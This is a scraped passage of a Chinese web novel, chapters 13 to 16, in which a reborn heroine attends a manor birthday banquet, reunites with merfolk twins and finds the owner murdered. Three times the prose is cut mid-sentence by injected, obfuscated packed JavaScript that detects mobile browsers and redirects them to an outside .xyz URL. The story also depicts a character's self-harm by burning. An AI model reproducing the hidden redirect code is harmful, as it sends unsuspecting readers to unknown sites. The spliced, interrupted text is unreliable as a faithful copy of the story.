宴会在下下个星期，泛理特地跟过生日的庄园主人打过招呼，所以白佳果可以下个星期提前过去，参加生日宴的同时能在庄园里住上几天。庄园内设施齐全，庄园外则有小镇景点，还可以去爬拥雪山，在山上住一天，观日落日出，也是不错的体验。 除了有场宴会要出席，大体上跟出门旅游没区别。 当然在出发前，该上的课还是得上。 只是学习氛围显然没有平时那么好，学生们大多心思不在教室里。 “……所以幻觉的可怕之处，并不在于它有多真实，而在于无论它被构造得多么粗糙，它的出现有多么违背常理，你的大脑都会选择相信。” 最后一节幻术课上，白佳果一如既往地认真听讲。 负责这门课的教授姓“朽”，她很早就看出白佳果对幻术充满了好奇，且这份好奇并非是来自于“热爱”，而是“忌惮”。 讲到这里时她正好走过白佳果身边，因此她多说了一句：“如果你的灵视被蒙蔽，你身上用于探知幻术的设备失效，你隐约察觉到不对劲但却不知道到底哪里不对，那么有个很简单粗暴的办法，可以判断你是否中了谁的幻术——” “专注，然后问问自己，‘你在干什么？’” …… 下课后，白佳果想找朽教授问问题，又怕耽误对方放假。 朽教授察觉到了她的犹豫，朝她勾了勾手指。 白佳果高高兴兴地抱着笔记本冲了上去。 课堂上留下的疑惑得到解答，白佳果连连道谢，朽教授单手支着脑袋，暗紫色的波浪卷长发落在摊开的课本上。 “小佳果。”朽教授问：“你是不是被人用幻术伤害过？” 白佳果点头：“嗯，所以我想做好防范，下次不会再被骗了。” 朽教授靠近她，压低了声音，问：“那上一次呢？” 白佳果：“啊？” “对方上一次骗你，是否付出了应有的代价，严不严重，需要帮忙吗？”朽教授甚至用上了隔音咒，免得被教室里还没离开的其他学生听见。 白佳果眨了眨眼睛：“谢谢你教授。” 朽教授依旧看着她，没有因为一句谢谢就被糊弄过去。 白佳果笑了笑，说出的话却不那么乐观：“我暂时还找不到那个人。” 上辈子用幻术把她骗上高楼的家伙，她目前还没有头绪。 “你的监护人知道这件事吗？”朽教授又问。 白佳果垂眸看着自己的笔记，撒谎道：“嗯，我跟他们说了。” 不是所有人都像斯笛墨，能辨别谎言，朽教授听白佳果这么说，便没有再追问下去，还跟白佳果分享了一个消息，替她转换心情：“第一学院有个传统，每年春天的双月结束后，都会举办集体的实践课，让玩疯了的学生们收收心。按理来讲你是不能参与的，容易遇到危险，但如果你愿意的话，要不要来当实践课的志愿者？学校会保证志愿者的安全。” 白佳果当然知道实践课的传统，上辈子她没参与过，这次一听说能参与，即便是志愿者的身份她也没有犹豫，点头道：“好。” “这么快就决定了？”朽老师惊讶。 “听起来很有意思嘛。”白佳果找了个理由。 真实原因是，自从在白骨林事件中被煅嘉以带走，又见过警方对付怪物，白佳果就发现了一个问题，她学了这么多，都是理论知识。 即便没办法实践，她也得多了解观摩，这些会魔法的种族，真打起来是什么样的。 “行，我迟点让学生会给你发申请表。”朽教授拿出手机，给白佳果推了个学生会成员的名片。 白佳果点开，发现自己早就加过这个人，正是当初因为调课加了好友的班长。 第二天班长给她发了志愿者申请表，两张，一张空白的，一张用红笔标注了填写的注意事项。 班长叮嘱白佳果：【还有不了解的，可以随时问我。】 白佳果客气地回了句：【好的，谢谢。】 白佳果在前往拥雪山的飞机上填好表格，发给班长。 庄园那边派了人来接她们，白佳果跟空想雅在下飞机后坐上了前往青金湖庄园的车。路上白佳果收到班长的回复，说是有个地方用翻译魔法翻译过来有歧义，建议她换个词试试。 白佳果想了几个近义词发过去，问他在翻译魔法的翻译下，哪个更合适。 班长替她选了一个，白佳果修改表格，重新发送。 等待班长再次回复期间，白佳果看到车窗外的风景，那是一排排复古的建筑，本来在阳光的滤镜下就显得格外童话，添上那一轮双月期才有的、硕大的、因为白天而带着点透明感的水红色月亮，整体画面相当梦幻。 白佳果拿手机拍下照片，发给班长：【谢谢你帮我改表格，给你看好看的街道。】 另一边，班长收到照片，愣了愣：【不客气，你去拥雪山玩了？】 照片里的风景对班长来说很熟悉，仅凭一张照片，他便能判断出白佳果身处何地，甚至连拍摄的街道叫什么名字都知道，但他很有分寸感地将这些了解吞入腹中，只说了“拥雪山”这么一个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15546062|169753||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 大概的范围。 白佳果：【嗯，替我大伯来参加生日宴。】 班长看着这一行字，眼底浮现诧异，这时他听见管家进来，弯下腰跟正在训斥小辈的老太太说了句：“人还在路上，大概十分钟后到。” 他不确定自己的猜测对不对，于是他从窗边离开，迈步走向老太太。 他在老太太坐着的软椅旁蹲下 ，问：“待会要来的那位客人，是叫白佳果吗？” 老太太挑了挑眉：“你认识？” 猜测得到证实，班长笑道：“一块上过课。” 老太太点点头：“那正好，我正愁找不到适合的人选来招待她，毕竟她是代表血族来的。” 老太太挑剔的目光扫过面前被聚集的小辈，一脸嫌弃：“要是让自以为魅力十足别有用心的蠢货把她伤害了，再多几个我也拦不住来自血族的怒火。” 小辈们有的幸灾乐祸，有的虚心低头，刚被训斥过的那个脸色涨红，十分难堪。 “不是‘代替’而是‘代表’？”班长没管他们的反应，敏锐地抓住了老太太的用词。 “谁知道呢。”老太太用曲起的手指叩了叩软椅的扶手：“对血族而言，哪怕是再古老的家族，只要经过初拥，就算后代。更何况那本来就是他弟弟的女儿，即便这个弟弟是血族意义上的，依旧是家族不可分割的一部分。” 很少人知道泛理与他的弟弟并无血缘关系，仅仅是被同一个血族初拥，拥有同一个“母亲”，所以成为了兄弟。 但老太太知道。 虽然她只是一个人族，她所活过的一百二十一年在长生种眼里不过一个零头，但了解她的人都会发现，她总是能知道很多别人不知道的秘密，或许这就是为什么能她一步步走到如今，拥有如此多的财富，成为青金湖庄园的主人。 “人族就不一样了。”老太太话锋一转，意有所指道：“特别是没什么家族背景，只有几个穷亲戚的人族。唯有在遗嘱上写了名字的，才算继承人，名字一擦，什么都得不到。” 话落，不等众人细品这话的内涵，老太太朝管家喊道：“阿诺。” 老太太用下巴指了指刚被训斥过的小辈：“让他和他的父母离开，从今往后，我不想在我的庄园里见到他们。” 众人惊愕，却谁也没敢说话，唯一敢说话的班长也不过是平静地看着管家把面如死灰的那位带出去。 ——他是好说话，不是烂好心，听老太太刚才的训斥就知道，他这位远房亲戚是想通过一些上不得台面的手段搭上白佳果，老太太不杀个典型，怎么保证类似的事情不再发生呢。 最后，老太太给这次被扼杀在摇篮里的阴谋下了警告：“再有添乱的，都滚。我死后的遗产，你们一分也别想拿到。” # 十分钟后，白佳果乘坐的车子经过一条僻静的林荫小道，驶入一扇大铁门，进入庄园。 白佳果下车，意外发现迎接她的，居然就是刚刚发信息给她，告诉她志愿者表格填写没问题，申请是否通过会在实践课前进行通知的班长。 对方脸上扬起一抹温和的笑，比冷风中的日光还要暖上几分。 “下午好，欢迎来参加我姨母的生日宴。” 14.第十四章 白佳果：“……下午好。” 等等。 “姨母？”白佳果走上台阶，跟着班长一同进入庄园的主楼，好奇地问：“你今年多大了？” 班长并不觉得冒犯，比起那些充满狐疑的打量和沉默的揣测，白佳果的关注点和有话直接问的行为简直称得上可爱：“二十一，我姨母是人族，但我的母亲是魔族和人族的混血。” 白佳果明白了，魔族是长生种。即便魔法世界的人族也很长寿，可到了一百二十多岁，生命已然能看到尽头，而对魔族来讲，一百岁还很年轻。 白佳果跟着班长去见了庄园的主人，那位名叫弥蕴珐的老太太。 老太太对她很和蔼，说话也直爽，她没让白佳果把这里当成自己家，而是让白佳果把这里当成酒店来住，不用有住在别人家的拘束——这也是她大伯的意思，早前就商量好的，而非客套话。 巧就巧在白佳果真的住过作为酒店的青金湖庄园，因此把庄园当成酒店，对她来讲不是一件难事。 空想雅在来之前就做好了旅游攻略，把该准备的都准备了，还有不了解或欠缺的，可以去问班长。 白佳果在庄园里玩了两天，骑马、游湖、逛迷宫花园、参观庄园内的酿酒坊，内容听起来和上辈子差不多，但一个是私人庄园，一个是旅游度假地，体验上依旧存在差距。 最明显的一点就是人很少，有趣的项目不需要排队，因为庄园里除了提前来给老太太祝寿的亲戚，剩下的就是她，所有人全来了场地也绰绰有余。 白佳果骑的马是马场管理员仔细挑选的，空想雅告诉她注意事项，教她怎么骑。 游湖游的就是青金湖，冬天湖面结冰，上辈子她来冰钓过，这辈子不是冬天来，冰早就融了，青金石色的湖面荡漾着金色的波光，青金湖庄园由此得名。 白佳果坐着小船飘在湖上，从高空俯瞰，仿佛一块青金石上游移的白点，视觉效果相当震撼。 这个季节也能钓鱼，白佳果连着钓了五条小的，第六次被湖下的大家伙咬钩，白佳果不肯撒手，空想雅便帮她一块抓着钓竿，结果整艘小船都被带着跑了大半圈，白佳果一边怕得吱哇乱叫，一边倔强地拽着鱼竿，好好的游湖游出了冲浪的刺激。 最后是班长赶过来结束了这场拉锯，告诉白佳果她们钓到了老太太养在湖里的宠物。 那是一只非常漂亮的巡火银带鱼，可家养的魔法生物，之所以会咬钩，是因为白佳果一而再再而三地从它嘴边抢食物——就是那五只小鱼。 巡火银带鱼从不计较到烦躁，再到急眼，这才故意咬钩拉着小船跑了大半圈。 好吧。 “对不起！”白佳果趴在小船边和水下的巡火银带鱼道歉，又把刚刚抢来的五条小鱼放了回去。 “它能明白我的意思吗？”白佳果问班长。 班长的笑容已经超出了温和友好的范围，因为实在太有意思了。 他笑着道：“应该可以吧，它一向很聪明。” 白佳果点点头，收杆准备回去，小船快靠岸的时候，湖面突然泛起波澜，金红色的光在水底下一扫而过，一只巨大的带鱼头冒出来，把嘴里咬着的宝石项链丢到小船上，然后又潜下去跑了。 真的是带鱼，可以红烧的那种带鱼。 白佳果震惊，但都魔法世界了，比人都大的带鱼甚至尾巴还带着火，火在水下也不会熄灭，那能养在淡水湖似乎也不是不可能。 巡火银带鱼送来的宝石项链据说是它的收藏，老太太也是真有钱，知道自己的宠物喜欢漂亮的人类首饰，经常会往湖里丢几个哄它开心。 巡火银带鱼把自己的收藏之一送给白佳果，大概也是和解的意思吧。 不过项链贵重，白佳果让班长替她把项链还给老太太，班长摇头拒绝：“它送给你了就是你的。” 白佳果跟他讲道理：“你想象一下，你会因为别人的宠物狗叼着家里的贵重物品送给你，而心安理得地选择收下吗？” 班长：“……”确实不会。 班长只好打电话联系老太太。 老太太弥蕴珐接到电话，听完原委后乐得不行，表示白佳果尽管收下，不需要有太多顾虑。 但因为是从湖里拿出来的，班长建议她先送去清洗，还给她推荐了小镇上的店铺。 白佳果依言将项链送去，看单据上的时间，正好能在生日宴结束后，她离开之前将项链取回。 庄园里玩了两天，白佳果又跟空想雅去了拥雪山，即便是春夏，山上也有雪。 她们看了日落，在山上住了一晚，透过酒店的一整面玻璃墙观赏雪夜的满天星辰，又看了第二天的日出。 白佳果的手机里多了很多照片和视频，她兴致勃勃拍个不停的样子跟上辈子刚来魔法世界时一模一样。 上辈子从拿到魔法世界的手机开始她就没有停止过拍照和记录，这辈子只有看到好看的风景才会拿出手机，拍的人也从那渊他们几个，变成了只有她自己和空想雅，偶尔还会有班长入境。 戴眼镜的黑发青年在没有注意到镜头之前，正低着头跟人说话，注意到镜头之后，他先是顿住，接着扬起笑容，如同春风一般，令人感到柔和温暖。 # 老太太生日宴前一天，庄园里的人陆续多了起来。 白佳果试穿空想雅带来的礼服，发现搭配的耳扣出了点问题，耳扣上带有防御魔法阵，不太好自己修，空想雅便打算去之前送洗项链的店铺问问。 白佳果跟着一块去，空想雅跟店里的工匠商量怎么修的时候，她坐在店内椅子上闲着无聊整理手机相册，看到视频里班长入境，突然想到—— 班长他……叫什么名字来着？ 嘶—— 玩了几天有些懒散的白佳果坐直了身体，一直没遇上需要叫对方名字的场合，导致她居然才发现这个问题。 她想了想，思考的时候眨眼的频率明显增高，最后飞快打开自己和班长的聊天记录，疯狂上翻，终于在最顶端看到一句：【你好，我叫弥悬。】 危机解除。 白佳果长舒一口气，放松地靠回沙发里。 她的视线透过橱窗看向店外的街道，暖阳洒落在对面店铺门边的花圃上，怪好看的，于是她拿起手机。 按下快门的瞬间，两个人从店外走过，他们有着一模一样的蓝灰色短发，一模一样的面容和体型，唯一不同的是眼睛下面的两颗痣，一个在左眼，一个在右眼，以及他们身上的衣服，虽然款式不一样，但都潮得人不敢轻易靠近搭话。 他们注意到店里的白佳果，一起停下脚步 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15565095|169753||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。于是隔着橱窗玻璃，他们看着白佳果，白佳果看着他们。 几秒后，白佳果拿起手机，点开相册，屏幕朝向他们，当着他们的面把刚刚误拍的照片删了。 店外的双胞胎眨了眨眼睛，反应过来白佳果的意思，噗嗤一下笑出了声。 两个人连笑都是一块笑的，整齐得彷佛是一个人。 他们不需要和彼此商量，直接走向店门，进来跟白佳果打招呼：“好巧！” 白佳果：“……嗯。” 白佳果还在想自己要摆出什么态度，双胞胎误以为她没认出他们，于是自我介绍道—— “我叫少络望。” “我叫少络听。” “我们俩被困在白骨林的时候。” “是你把斯笛墨教授带来救了我们。” “还记得吗？” 他们俩你一句我一句，最后那句“还记得吗？”是一起说的。 白佳果：“我记得。” 白佳果很熟悉他们的说话方式，问题是白佳果明明记得他们俩上辈子和那渊他们一起参加了学校组织的双月期旅游，为什么会出现在这里？ 难道—— 白佳果问：“你们班的旅游地选了这里吗？” 千万别啊。 好在这对双胞胎摇了摇头：“当然不是。” “我们没参加班级活动。” “一点意思都没有。” “还得跟讨厌的同学在一块。” “不如自己出来玩，顺便来参加弥蕴珐夫人的生日宴。” 白佳果：“……这样啊。” 讨厌的同学，是指那渊跟宿谬吧。 上辈子为了额外学分，也是辛苦他们俩了。 要知道在她的记忆里，他们五人组可没少一块行动，那为了查清失踪案而建立，名为“搞清楚就解散”的群也在后面成为了他们五人组加白佳果的专属群，一直没有解散，直到她离开魔法世界之前，每次有需要，在群里说几句，他们就能聚到一块。 而在这辈子，他们的相遇需要巧合，需要意外，白佳果可以把每一次见面都当成最后一次，那么有些一直没有解决的问题，也该抓紧解决才对。 白佳果：“当时在白骨林失去意识的，是少络望对吧。” 白佳果看向左边的双胞胎哥哥。 少络望点头：“嗯，是我。” “那醒着的就是少络听，”白佳果看向右边的弟弟，不好意思地笑了笑：“我不确定我有没有看错，你当时是不是带了一枚打火机，就是……” 白佳果比划：“看起来像个装饰用的胸针，但我在我大伯那见过同款，知道那其实是一枚打火机。” “我当时就很好奇，为什么怕火的人鱼会在身上带打……” 随着白佳果的讲述，双胞胎脸上的笑容逐渐凝固，最后没等白佳果说完，少络望动手摁住自己的弟弟，开始搜身。 “不是、我没有！”少络听挣扎，少络望不信，脸色阴沉地能滴水，沉默着要把打火机从少络听身上找出来。 肢体冲突愈演愈烈，最后兄弟俩直接在店里扭打成一团。而造成这一切的罪魁祸首白佳果，早在少络望动手的时候，就被时刻关注着她的空想雅带离原地，离那对莫名其妙突然发疯的双胞胎远远的。 15.第十五章 即便是空想雅也会好奇，白佳果到底做了什么，让那对人鱼族双胞胎对彼此大打出手。 “我就是问为什么少络听身上会有打火机，”白佳果装模作样地猜测道：“可能是因为……少络听背着他哥抽烟被发现了，他哥才会这么生气吧。” 人鱼族……抽烟？ 难以想象。 人鱼怕火怕高温是共识，从未听说过有人鱼会抽烟，这和自虐有什么区别，或许就是这样，兄弟俩才会为此大打出手吧。 空想雅细想一想，觉得这个答案也解释得通。 然而真相远比抽烟要严重一些。 少络听有自残倾向，已经不是第一次了，所以少络望才会在得知少络听身上带有打火机的时候反应如此激烈。 这是属于他们兄弟俩的秘密，上辈子白佳果发现打火机，因为地狱之火不产生二手烟的广告噱头太过深入人心，加上对魔法世界的种族认知不够，她误以为少络听抽烟。 少络听将错就错，承认自己抽烟，祈求白佳果不要告诉别人，特别是他的哥哥少络望。 “抽烟对身体不好。”白佳果没有答应，且提出不满。 “我以后不抽了，你别告诉我哥，拜托了，佳果。”少络听做出承诺，只求白佳果替他隐瞒。 白佳果这才答应再给他一次机会，还没收了他的打火机。 一直到后来，她得知人鱼怕火，越想越不对，找个机会把落单的少络听堵在墙角，逼问他当初藏打火机在身上究竟是为了什么。 少络听本就比白佳果高大，又是人鱼，平时穿衣服看着高挑显瘦，其实身上都是游出来的肌肉，只要他愿意，完全可以推开白佳果，逃避回答这个问题。 可少络听没有，他先是意外白佳果还记得那枚打火机，然后又和平时一样嘻嘻哈哈地想要转移话题，直到发现白佳果根本不买账，他的表情慢慢变得晦涩难明，最后将头靠在了白佳果的肩上，不想让白佳果看到他没用的模样，却又低声唤了白佳果的名字。 那个时候他们的关系已经很熟了——至少当时的白佳果是这么以为的。每次遇到紧急情况需要快速撤退，他们会率先考虑白佳果的安危，甚至会毫不犹豫抱起白佳果就跑，连一向头疼他们太年轻太莽撞的辅导员也说有了白佳果，他们变得比以前更加稳重。 抱是真的“抱”，偶尔也会是“扛”，或者“背”。 因此他们很少有肢体接触方面的顾虑。 比起早已习惯的亲近距离，白佳果更加在意少络听的反应，还有他说的那些话。 “我不知道……我也不知道自己在干什么。” “我只是觉得，被灼烧的痛楚能让我好受一点。” “以后不会了，其实被你没收那枚打火机之后，我就没再那样做过了。”说到这里，少络听似乎是想到什么高兴的事情，话语中带上了轻快的笑意，灰蓝色的头发挨着白佳果的脖颈，低哑的声音亲昵而又充满了期望：“你让我愿意相信，一切都会好起来的。” 后来也是他，在白佳果不肯相信魔族女生在手机里说的那句“你令我们感到困扰”的话，无论如何都要当面问个清楚的时候，对她说：“唔……当时气氛都烘托到那了，总觉得得说点煽情肉麻的话，不然你告诉我哥怎么办，我可不想再被他训了，明明只比我早出生几分钟，管我就跟管儿子一样，真是离谱。而且你也确实因为我那些话感到满足不是吗？” “救赎别人的感觉，很不错吧？”俊美到比起人鱼更像海妖的面庞上露出足以蛊惑人心的笑颜，刺得白佳果再也无法继续追问下去。 …… 想到一些不太好的回忆，白佳果深吸一口气，长长叹出，用来放松神经，消除心底那点突然涌起的负面情绪。 她并不想管少络听会不会继续自残，但她总想起这件事，无论少络听曾经说过的话有几句真几句假，要她彻底装作不知情，有点难。 于是她想，那就说吧。 说出来，无论是为了自己那点道德感，还是为了给少络听添麻烦，都行。 看到兄弟俩打起来，她心里那点“我是圣母吗？”的自我怀疑消弭无踪。 就当是她，小小的报复吧。 # 生日宴当天，静谧祥和的庄园变得热闹起来。 虽然晚上才是正式的宴会，但从上午开始便陆续有客人进入庄园。 下午白佳果穿上空想雅替她准备的衣服，那是一套酒红色的小西装，搭配高腰短裤。头发尽数盘起，无论是发饰还是极有个性的耳扣与领尖夹上，都镶有火彩绚丽的红宝石。 相比之下领口的泊洛领结看起来就低调很多，但恐怕没有哪个受邀赴宴的人会认不出那一枚泊洛扣上印的是谁家的家族图腾。 哪怕这样的背景来历加上没有魔法天赋的戒指感应令他们有些奇怪，白佳果还是成为了宴会上相当受欢迎的存在。 空想雅跟在白佳果身旁，时刻关注白佳果的反应，只要她表现出一点不适和疲惫，她就会找理由带她去休息。 意外的是，白佳果在这样的场合里表现得游刃有余。 毕竟她不是真的刚成年，死前二十六岁的她如果连这点场面都应付不过来，那么最开始她就不会答应大伯来参加宴会。 同一场宴会上，有人轻松自如，也有人焦头烂额。 “你能不能别生气了？”宴会厅外几乎没什么人的花园里，少络听哄他哥哄烦了，终于问出这一句。 少络望：“这就是你认错的态度？” 少络听：“我已经道歉很多遍了！” “你知道我不需要你的道歉。”少络望心头火起，罕见地对自己的弟弟讥讽道：“你伤害的是你自己，又不是我，你和我道什么歉？” 少络听一时无语，安静了好一阵才开口：“我知道我伤害到你了。” 这下两人都没了声，他们是双胞胎，从还未出生就在一块的双胞胎，他们比谁都了解对方，在乎对方。 过了很久很久，少络听做出承诺：“我保证，以后不会了。我保证。” 少络望：“你上次也是这么说的。” “……不然我们再打一架吧。” 最后他们俩还是没打起来，别人的生日宴上，丢不起这个人。 勉强化解矛盾后，少络听说出了心中的疑惑：“白佳果到底是怎么知道我身上有打火机的。” 少络望：“你自己带着，还指望别人发现不了吗？” “我发誓，那晚在白骨林，我绝对没有把打火机露出来过。” “你确定？” “我确定。” 双胞胎在小花园里研究起了白佳果，他们都没发现，庄园的管家从暗处悄悄走开。 这对双胞胎昨天在外面打架的消息早就传开了，管家担心他们兄弟的矛盾会影响生日宴，所以多留意了一下，确定不会酿成什么手足相残的悲剧，让本该欢庆的生日宴蒙上阴影后，他回到弥蕴珐身边，将情况如实汇报。 弥蕴珐老太太知道双胞胎家里的情况，公开的和未公开的，她都知道，可利益无关，便没太放在心上。 她上了年纪容易累，不一会儿便去了休息室，让妹妹和家里的小辈替她招待宴会上的客人。 弥蕴珐的妹妹——也就是班长弥悬的母亲，她是一个看起来不像魔族的半魔族，柔弱温婉，与杀伐决断又严厉刻薄的弥蕴珐截然相反 但这对外表看起来像祖孙的姐妹俩关系很好，除了二十几年前妹妹非要和一个姐姐看不上的男人结婚以外，她们俩没闹过别的矛盾。 至今弥蕴珐都不允许那个男人踏入自己的庄园，唯一能帮妹妹一块招待客人的，只有弥悬和弥蕴珐养大的一个名叫尤茵的人族女孩，其他人都靠不住。 尤茵的性格不像弥蕴珐，反而很像弥蕴珐的妹妹，温和热心好说话，从小成绩优异，明明才十八岁，那渊他们刚考上第一学院的年纪，她却快要毕业了。 忙于学业的她今天早上刚从学校回来，在宴会上认识了白佳果，两人相谈甚欢。 尤茵发现白佳果对时间魔法特别感兴趣，尤茵的专业和这方面无关，不过她知道老太太对时间魔法很有研究。 于是她拉着白佳果去休息室找老太太。 白佳果稀里糊涂地应下，还寻思尤茵身上的气味真好闻，不知道是什么牌子的香水，想购入同款。 “你在这干什么？”快到休息室的时候，他们看到一个青年在走廊上来回踱步，青年是和老太太沾亲带故的一个小辈，尤茵认识他。 青年听到声音，慌忙解释道：“没什么，我、我袖扣掉了，我在找袖扣。” 尤茵好心地问：“需要帮忙吗？” 青年：“不用，掉了就掉了吧。我还有别的事情先走了，回见。” 说完慌慌张张地跑了。 尤茵和白佳果对视一眼，两人都是满脸的问号。 她们抛开这段插曲进入休息室，老太太听完来意，问白佳果：“你为什么会对时间魔法感兴趣？” 白佳果拿出忽悠网友的那一套说辞：“我想写一本小说，就是关于主角死后回到过去，重新来过的那么一本小说，可我不确定什么样的魔法能让亡者以人，而不是亡灵的身份复活，并穿越时空回到过去。” 老太太微微一愣。 尤茵：“其实网络上很多类似的重生小说， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15565096|169753||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 关于为什么‘重生’的设定也很多，你可以和他们一样虚构，不一定要完全贴合现实。” 白佳果礼貌地笑了笑，只说“我知道”，并不强调自己非要给一个小说设定找现实依据的必要性。 本来就是谎言，说得越多越容易被识破这个道理她还是懂的。 老太太给出建议：“如果人为方面的魔法没有头绪，你不如试试往诅咒方面找原因。” 白佳果：“诅咒？” 老太太：“神的诅咒向来没有根由，玩弄生命和时间，对祂们来讲不是什么难事。神族已经不在很久了，关于神族留下的诅咒基本都有记录，你去找找，或许能找到你想要的。” 白佳果：“好。可是死后能复活，还能回到过去，怎么听都不像诅咒。” 老太太赞同地点了点头：“你说得对，我也不觉得这像诅咒。” 大抵上了年纪的人都会有这样的通病，经常事情说着说着，就会开始讲起自己的往昔：“谁会不为自己的死而复生感到高兴呢，更何况还能回到过去，挽回曾经的遗憾。但凡事总有例外，我的一个朋友就经常和我说，无法回头的生命才是最珍贵的。” 三人又聊了一会儿。 白佳果和尤茵以及随行的空想雅离开后，弥蕴珐轻唤管家的名字：“阿诺。” 管家如同幽灵一般，出现在她身后。 弥蕴珐：“白佳果今年多大了？” 管家：“和尤茵小姐一样，十八岁。” 弥蕴珐：“她生日是什么时候？” 管家：“和尤茵小姐一样，八月二十三。” 弥蕴珐叹息：“你该早点告诉我的。” 管家：“她无法使用魔法，我以为不会是她。” 弥蕴珐对待自己最信任的左右手，依旧不会口下留情：“你的脑子呢？我说过很多遍那是诅咒，能不能使用魔法都不会影响诅咒的效果。” 管家：“我很抱歉。等明天……” 弥蕴珐打断他：“今晚，我今晚就要得到结果，都这把年纪了谁知道我还能不能看见明天的太阳。” “如果是她，立马把律师叫过来，我花了这么多钱雇佣他们，应该不至于连让他们加个班都做不到。” # 生日宴结束后，回房间休息的白佳果做了个梦。 梦里她站在一片无边无际的黑暗中，她迈开脚步往前走，不停地往前，直到身后突然出现光亮，她转过身，看到一座通体雪白的巨大女神像。 女神头盖白纱遮去眉眼，手中捧着一只沙漏，漂亮得宛如艺术品。遗憾的是神像半边完好、半边破碎，碎片以飘洒的形态凝滞在空中。 随着沙粒落下，女神的眼睛隔着轻纱缓缓睁开，低垂的眉眼静静地注视着渺小宛如尘埃的她。 这不算普遍概念里的恶梦，但因为压迫感太强，白佳果醒来时非常难受。 窗外夜色依旧，她拿起枕边的手机看看时间，才睡了不到一个小时。 白佳果去厕所洗把脸，等剧烈跳动的心脏恢复平稳，又坐床上玩了会儿手机，确定自己没事了，躺下接着睡。 第二天早上，弥蕴珐老太太身边的管家找到她，说老太太有很重要的事情要告诉她，请她下午去一趟。 空想雅定了明天中午的机票。 白佳果本打算今天下午再到外面逛逛，顺便和空想雅一起去拿项链——就是巡火银带鱼送给她的那一条。 计划有变，空想雅联系店里，拜托对方将清洗好的项链直接送来庄园。 上午白佳果陪空想雅收拾行李，和来时一样，她们把大部分物件通过快递寄回去，只留下两个装着衣物和必需品的行李箱。 下午三点，她们跟着管家去见弥蕴珐老太太。 老太太在书房。 “如果可以，她更想今天早上就和您见一面，但她一夜没睡，实在需要休息。”去的路上，管家一副想说什么，但又不知道该从何说起的模样。 白佳果：“能问一下，她找我有什么事情吗？” 管家：“很重要的事，她希望能亲口告诉您。” 他们来到书房门前，管家还没敲响房门，就已经察觉到了不对劲，空想雅更是第一时间把白佳果拉到自己身后。 “新鲜的血腥味。”空想雅说。 管家直接将门打开，这很冒失，放平常弥蕴珐绝对会反问他是不是把礼仪学到了狗肚子里。 只是现在，那个唯一有资格对他挑三拣四的人不会再训他了—— 书房内，落地窗敞着，开门时空气对流，血的味道向外逸散，庄园的主人弥蕴珐垂着脑袋坐在软椅上，胸口大片血迹，已经失去了呼吸。 16.第十六章 警方来得很快。 警方到来之前，管家封锁了整座庄园，不允许任何人离开，并且将所有人都叫到了一块。 除了白佳果跟空想雅，还有老太太的那些亲戚、昨晚喝太醉留宿的宾客，和今天下午到访的客人。 其中不少人白佳果昨晚都见过，最熟悉的莫过于弥悬和尤茵。 他们起初并不知道发生了什么，管家不肯透露，同时不允许他们离开。 终于在越来越多人感到不满，质疑管家的行为是非法限制他们的人身自由，要求弥蕴珐出面给个交代时，警车驶入了庄园。 弥蕴珐的妹妹从一开始的不明所以，但还是盲目信任自己的姐姐，帮助管家安抚众人的情绪，到得知姐姐已经去世，整个人情绪崩溃，失控的魔力差点毁掉整个会客厅。 医护人员为她注射了镇定剂，她的儿子弥悬一直陪着她。管家配合警方调查现场，把能交代的情况都交代了，只希望能找到凶手，这是他唯一的请求。 老太太那堆不成器的亲戚自然也表现出了哀伤，几分真几分假不好说，至少在追查凶手方面表现出了莫大的积极性，可从时不时就要提一嘴老太太的遗产，不停强调自己与老太太沾亲带故，这些年没少为老太太出力就能看出他们更在乎什么。 “真想把他们都赶出去。”眼睛红肿的尤茵全然没有了昨夜的友好，老太太的死给她造成了很大影响，刚哭过的嗓音低哑凶狠，充满了对那些假惺惺的人们的怨恨。 “可说不好是谁赶谁。”一个努力想要彰显派头却打扮用力过猛的八字胡男人碰巧经过，听到尤茵的话，他趾高气昂道：“再怎么说，我们也是夫人的血亲，整个家就你和夫人没有血缘关系，她甚至没有正式将你收养，你和这里的佣人管家没什么区别，等到一切结束，你就该离开了。” 尤茵冷着脸：“这里轮不到你来指手画脚，别忘了还有弥悬，他才是最有可能被夫人选中的继承人。” 男人挑了挑左边的眉毛，同边的小胡子跟着往上动了动：“是吗，谁知道呢。” 说完头也不回地走了，尤茵眉头紧锁，对白佳果说：“不对劲。” 不知道为什么就围观了一切的白佳果：“啊？” 尤茵：“他不是这样的性格，要放平时，他听到我的话早该跳脚了，现在却表现得这么从容，甚至认为弥悬不会是夫人选定的继承人，这很不对劲。” 白佳果：“他……你们……呃，对不起，我对你们这里的情况不是很了解。” 